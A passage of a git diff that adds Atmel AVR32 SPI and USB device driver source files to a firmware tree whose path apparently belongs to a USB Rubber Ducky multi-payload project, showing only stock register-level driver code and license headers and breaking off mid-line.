u_avr32_spi_mr.MR.mstr = 1; + u_avr32_spi_mr.MR.modfdis = options->modfdis; + u_avr32_spi_mr.MR.llb = 0; + u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + unsigned char variable_ps, + unsigned char pcs_decode, + unsigned char delay) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (variable_ps > 1 || + pcs_decode > 1) { + return SPI_ERROR_ARGUMENT; + } + + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.ps = variable_ps; + u_avr32_spi_mr.MR.pcsdec = pcs_decode; + u_avr32_spi_mr.MR.dlybcs = delay; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ +#ifdef FREERTOS_USED + while (pdFALSE == xSemaphoreTake(xSPIMutex, 20)); +#endif + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) { + // The signal is decoded; allow up to 15 chips. + if (chip > 14) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET); + } else { + if (chip > 3) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip)); + } + + return SPI_OK; +} + + +spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + // Last transfer, so deassert the current NPCS if CSAAT is set. + spi->cr = AVR32_SPI_CR_LASTXFER_MASK; + +#ifdef FREERTOS_USED + xSemaphoreGive(xSPIMutex); +#endif + + return SPI_OK; +} + + +spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + int baudDiv = getBaudDiv(options->baudrate, pba_hz); + + if (baudDiv < 0) { + return SPI_ERROR_ARGUMENT; + } + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + u_avr32_spi_csr.csr = 0; + u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1; + u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1; + u_avr32_spi_csr.CSR.csaat = options->stay_act; + u_avr32_spi_csr.CSR.bits = options->bits - 8; + u_avr32_spi_csr.CSR.scbr = baudDiv; + u_avr32_spi_csr.CSR.dlybs = options->spck_delay; + u_avr32_spi_csr.CSR.dlybct = options->trans_delay; + + switch(options->reg) { + case 0: + spi->csr0 = u_avr32_spi_csr.csr; + break; + case 1: + spi->csr1 = u_avr32_spi_csr.csr; + break; + case 2: + spi->csr2 = u_avr32_spi_csr.csr; + break; + case 3: + spi->csr3 = u_avr32_spi_csr.csr; + break; + default: + return SPI_ERROR_ARGUMENT; + } + +#ifdef FREERTOS_USED + if (!xSPIMutex) + { + // Create the SPI mutex. + vSemaphoreCreateBinary(xSPIMutex); + if (!xSPIMutex) + { + while(1); + } + } +#endif + + return SPI_OK; +} + + +void spi_enable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIEN_MASK; +} + + +void spi_disable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIDIS_MASK; +} + + +int spi_is_enabled(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_SPIENS_MASK) != 0; +} + +unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0); +} + + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; + + return SPI_OK; +} + + +spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, uint16_t data, + uint8_t pcs, uint8_t lastxfer) +{ + unsigned int timeout = SPI_TIMEOUT; + + if (pcs > 14 || lastxfer > 1) { + return SPI_ERROR_ARGUMENT; + } + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = (data << AVR32_SPI_TDR_TD_OFFSET) | + (pcs << AVR32_SPI_TDR_PCS_OFFSET) | + (lastxfer << AVR32_SPI_TDR_LASTXFER_OFFSET); + + return SPI_OK; +} + + +unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0); +} + + +unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0); +} + + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + *data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET; + + return SPI_OK; +} + + +unsigned char spi_getStatus(volatile avr32_spi_t *spi) +{ + spi_status_t ret = SPI_OK; + unsigned long sr = spi->sr; + + if (sr & AVR32_SPI_SR_OVRES_MASK) { + ret = SPI_ERROR_OVERRUN; + } + + if (sr & AVR32_SPI_SR_MODF_MASK) { + ret += SPI_ERROR_MODE_FAULT; + } + + if (ret == (SPI_ERROR_OVERRUN + SPI_ERROR_MODE_FAULT)) { + return SPI_ERROR_OVERRUN_AND_MODE_FAULT; + } + else if (ret > 0) { + return ret; + } else { + return SPI_OK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.h new file mode 100644 index 0000000..395282d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.h @@ -0,0 +1,698 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SPI_H_ +#define _SPI_H_ + +#include "compiler.h" + +//! Time-out value (number of attempts). +#define SPI_TIMEOUT 15000 + +//! Spi Mode 0. +#define SPI_MODE_0 0 + +//! Spi Mode 1. +#define SPI_MODE_1 1 + + +//! Status codes used by the SPI driver. +typedef enum +{ + SPI_ERROR = -1, + SPI_OK = 0, + SPI_ERROR_TIMEOUT = 1, + SPI_ERROR_ARGUMENT, + SPI_ERROR_OVERRUN, + SPI_ERROR_MODE_FAULT, + SPI_ERROR_OVERRUN_AND_MODE_FAULT +} spi_status_t; + +//! Option structure for SPI channels. +typedef struct +{ + //! The SPI channel to set up. + uint8_t reg; + + //! Preferred baudrate for the SPI. + uint32_t baudrate; + + //! Number of bits in each character (8 to 16). + uint8_t bits; + //! Delay before first clock pulse after selecting slave (in PBA clock periods). + uint8_t spck_delay; + + //! Delay between each transfer/character (in PBA clock periods). + uint8_t trans_delay; + + //! Sets this chip to stay active after last transfer to it. + uint8_t stay_act; + + //! Which SPI mode to use when transmitting. + uint8_t spi_mode; + + //! Disables the mode fault detection. + //! With this bit cleared, the SPI master mode will disable itself if another + //! master tries to address it. + uint8_t modfdis; +} spi_options_t; + +/*! \brief Reset the SPI. + * + * \param spi Base address of the SPI instance. + * + */ +static inline void spi_reset(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SWRST_MASK; +} + +/*! \brief Set Master Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_master_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 1; +} + +/*! \brief Set Slave Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_slave_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 0; +} + +/*! \brief Enable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 0; +} + +/*! \brief Disable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 1; +} + +/*! \brief Enable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 1; +} + +/*! \brief Disable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 0; +} + +/*! \brief Enable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 1; +} + +/*! \brief Disable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 0; +} + +/*! \brief Set Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_set_chipselect(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + spi->MR.pcs = chip_select; +} + +/*! \brief Enable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 1; +} + +/*! \brief Disable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 0; +} + +/*! \brief Set Delay Between Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param delay Delay. + */ +static inline void spi_set_delay(volatile avr32_spi_t *spi,uint8_t delay) +{ + spi->MR.dlybcs = delay; +} + +/*! \brief Set Delay Between Consecutive Transfer on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ + +static inline void spi_set_chipselect_delay_bct(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybct = delay; + break; + case 1: + spi->CSR1.dlybct = delay; + break; + case 2: + spi->CSR2.dlybct = delay; + break; + case 3: + spi->CSR3.dlybct = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ +static inline void spi_set_chipselect_delay_bs(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybs = delay; + break; + case 1: + spi->CSR1.dlybs = delay; + break; + case 2: + spi->CSR2.dlybs = delay; + break; + case 3: + spi->CSR3.dlybs = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param len Bits per Transfer [8...16]. + */ +static inline void spi_set_bits_per_transfer(volatile avr32_spi_t *spi, uint8_t chip_select, + uint8_t len) +{ + Assert((len>8)&&(len<16)); + switch(chip_select) { + case 0: + spi->CSR0.bits = len - 8; + break; + case 1: + spi->CSR1.bits = len - 8; + break; + case 2: + spi->CSR2.bits = len - 8; + break; + case 3: + spi->CSR3.bits = len - 8; + break; + } +} + +/*! \brief Set baudrate for a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param scbr Baudrate Register. + */ +static inline void spi_set_baudrate_register(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t scbr) +{ + switch(chip_select) { + case 0: + spi->CSR0.scbr = scbr; + break; + case 1: + spi->CSR1.scbr = scbr; + break; + case 2: + spi->CSR2.scbr = scbr; + break; + case 3: + spi->CSR3.scbr = scbr; + break; + } +} + +/*! \brief Enable Active mode of a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_enable_active_mode(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + switch(chip_select) { + case 0: + spi->CSR0.csaat = 1; + break; + case 1: + spi->CSR1.csaat = 1; + break; + case 2: + spi->CSR2.csaat = 1; + break; + case 3: + spi->CSR3.csaat = 1; + break; + } +} + +/*! \brief Set Mode of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param flags SPI Mode. + */ +static inline void spi_set_mode(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t flags) +{ + switch(chip_select) { + case 0: + spi->CSR0.cpol = flags >> 1; + spi->CSR0.ncpha = (flags & 0x1) ^ 0x1; + break; + case 1: + spi->CSR1.cpol = flags >> 1; + spi->CSR1.ncpha = (flags & 0x1) ^ 0x1; + break; + case 2: + spi->CSR2.cpol = flags >> 1; + spi->CSR2.ncpha = (flags & 0x1) ^ 0x1; + break; + case 3: + spi->CSR3.cpol = flags >> 1; + spi->CSR3.ncpha = (flags & 0x1) ^ 0x1; + break; + } +} + +/*! \brief Put one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \param data The data byte to be loaded + * + */ +static inline void spi_put(volatile avr32_spi_t *spi, uint16_t data) +{ + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; +} + +/*! \brief Get one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \return The data byte + * + */ +static inline uint16_t spi_get(volatile avr32_spi_t *spi) +{ + return (spi->rdr >> AVR32_SPI_RDR_RD_OFFSET); +} + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_empty(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0; +} + +/*! \brief Checks if all transmissions is ready. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0; +} + +/*! \brief Check if the SPI contains a received character. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receive Holding Register is full, otherwise \c 0. + */ +static inline bool spi_is_rx_full(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0; +} + +/*! \brief Checks if all reception is ready. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receiver is ready, otherwise \c 0. + */ +static inline bool spi_is_rx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) == + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK); +} + +/*! \brief Resets the SPI controller. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_reset(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in slave mode. + * + * \param spi Base address of the SPI instance. + * \param bits Number of bits in each transmitted character (8 to 16). + * \param spi_mode Clock polarity and phase. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + uint8_t bits, + uint8_t spi_mode); + +/*! \brief Sets up the SPI in a test mode where the transmitter is connected to + * the receiver (local loopback). + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + */ +extern spi_status_t spi_initTest(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in master mode. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options); + +/*! \brief Calculates the baudrate divider. + * + * \param baudrate Baudrate value. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Divider or error code. + * \retval >=0 Success. + * \retval <0 Error. + */ +extern int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz); + +/*! \brief Sets up how and when the slave chips are selected (master mode only). + * + * \param spi Base address of the SPI instance. + * \param variable_ps Target slave is selected in transfer register for every + * character to transmit. + * \param pcs_decode The four chip select lines are decoded externally. Values + * 0 to 14 can be given to \ref spi_selectChip. + * \param delay Delay in PBA periods between chip selects. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + uint8_t variable_ps, + uint8_t pcs_decode, + uint8_t delay); +/*! \brief Selects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Unselects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if last transmission + * is not complete. Invoke \ref spi_writeEndCheck beforehand if needed. + */ +extern spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Sets options for a specific slave chip. + * + * The baudrate field has to be written before transfer in master mode. Four + * similar registers exist, one for each slave. When using encoded slave + * addressing, reg=0 sets options for slaves 0 to 3, reg=1 for slaves 4 to 7 and + * so on. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options for + * an SPI channel. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz); +/*! \brief Enables the SPI. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_enable(volatile avr32_spi_t *spi); + +/*! \brief Disables the SPI. + * + * Ensures that nothing is transferred while setting up buffers. + * + * \param spi Base address of the SPI instance. + * + * \warning This may cause data loss if used on a slave SPI. + */ +extern void spi_disable(volatile avr32_spi_t *spi); + +/*! \brief Tests if the SPI is enabled. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI is enabled, otherwise \c 0. + */ +extern int spi_is_enabled(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is no data in the transmit register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 No data in TDR. + * \retval 0 Some data in TDR. + */ +extern unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi); + +/*! \brief Writes one data word in master fixed peripheral select mode or in + * slave mode. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data); + +/*! \brief Selects a slave in master variable peripheral select mode and writes + * one data word to it. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * \param pcs Slave selector (bit 0 -> nCS line 0, bit 1 -> nCS line 1, + * etc.). + * \param lastxfer Boolean indicating whether this is the last data word + * transfer. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, + uint16_t data, + uint8_t pcs, + uint8_t lastxfer); + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +extern unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is data in the receive register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 Some data in RDR. + * \retval 0 No data in RDR. + */ +extern unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi); + +/*! \brief Reads one data word in master mode or in slave mode. + * + * \param spi Base address of the SPI instance. + * \param data Pointer to the location where to store the received data word. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if no data is + * received or last transmission is not complete. Invoke + * \ref spi_writeEndCheck or \ref spi_readRegisterFullCheck beforehand if + * needed. + */ +extern spi_status_t spi_read(volatile avr32_spi_t *spi, uint16_t *data); + +/*! \brief Gets status information from the SPI. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_OVERRUN Overrun error. + * \retval SPI_ERROR_MODE_FAULT Mode fault (SPI addressed as slave + * while in master mode). + * \retval SPI_ERROR_OVERRUN_AND_MODE_FAULT Overrun error and mode fault. + */ +extern unsigned char spi_getStatus(volatile avr32_spi_t *spi); + +#endif // _SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.c new file mode 100644 index 0000000..aabfc64 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.c @@ -0,0 +1,1499 @@ +/** + * \file + * + * \brief USB Device drivers + * Compliance with common driver UDD + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "sysclk.h" +#include "udd.h" +#include "usbb_otg.h" +#include "usbb_device.h" +#include + +#ifndef UDD_NO_SLEEP_MGR +#include "sleepmgr.h" +#endif + +#ifndef UDD_USB_INT_LEVEL +# define UDD_USB_INT_LEVEL 0 // By default USB interrupt have low priority +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * \section USBB_CONF USBB Custom configuration + * The following USBB driver configuration must be included in the conf_usb.h + * file of the application. + * + * UDD_USB_INT_LEVEL
+ * Option to change the interrupt priority (0 to 3) by default 0 (recommended). + * + * UDD_ISOCHRONOUS_NB_BANK
+ * Feature to reduce or increase isochronous endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_BULK_NB_BANK
+ * Feature to reduce or increase bulk endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_INTERRUPT_NB_BANK
+ * Feature to reduce or increase interrupt endpoints buffering (1 to 2). + * Default value 1. + * + * \section Callbacks management + * The USB driver is fully managed by interrupt and does not request periodique + * task. Thereby, the USB events use callbacks to transfer the information. + * The callbacks are declared in static during compilation or in variable during + * code execution. + * + * Static declarations defined in conf_usb.h: + * - UDC_VBUS_EVENT(bool b_present)
+ * To signal Vbus level change + * - UDC_SUSPEND_EVENT()
+ * Called when USB bus enter in suspend mode + * - UDC_RESUME_EVENT()
+ * Called when USB bus is wakeup + * - UDC_SOF_EVENT()
+ * Called for each received SOF, Note: Each 1ms in HS/FS mode only. + * + * Dynamic callbacks, called "endpoint job" , are registered + * in udd_ep_job_t structure via the following functions: + * - udd_ep_run()
+ * To call it when a transfer is finish + * - udd_ep_wait_stall_clear()
+ * To call it when a endpoint halt is disabled + * + * \section Power mode management + * The Sleep modes authorized : + * - in USB IDLE state, the USBB needs of USB clock and authorizes up to IDLE mode + * - in USB SUSPEND state, the USBB no needs USB clock but requests a minimum + * clock restart timing. Thus, it authorizes up to STATIC or STANDBY mode. + * - VBUS monitoring used in USB Self-Power mode authorizes up to STOP mode + * + * The USBB_SLEEP_MODE_USB_IDLE equals SLEEPMGR_IDLE. + * + * The USBB_SLEEP_MODE_USB_SUSPEND depends on USB Power mode, + * USB clock startup timing and USB Speed mode: + * | Power Mode | Speed mode | Clock Startup | Sleep mode authorized | + * | Self-Power | LS, FS, HS | X | SLEEPMGR_STOP | + * | Bus-Power | LS, FS | >10ms | SLEEPMGR_STDBY | + * | Bus-Power | LS, FS | <=10ms | SLEEPMGR_STATIC | + * | Bus-Power | HS | >3ms | SLEEPMGR_STDBY | + * | Bus-Power | HS | <=3ms | SLEEPMGR_STATIC | + * + * @{ + */ + + +// Check USB Device configuration +#ifndef USB_DEVICE_EP_CTRL_SIZE +# error USB_DEVICE_EP_CTRL_SIZE not defined +#endif +#ifndef USB_DEVICE_MAX_EP +# error USB_DEVICE_MAX_EP not defined +#endif +#if (UC3A0 || UC3A1 || 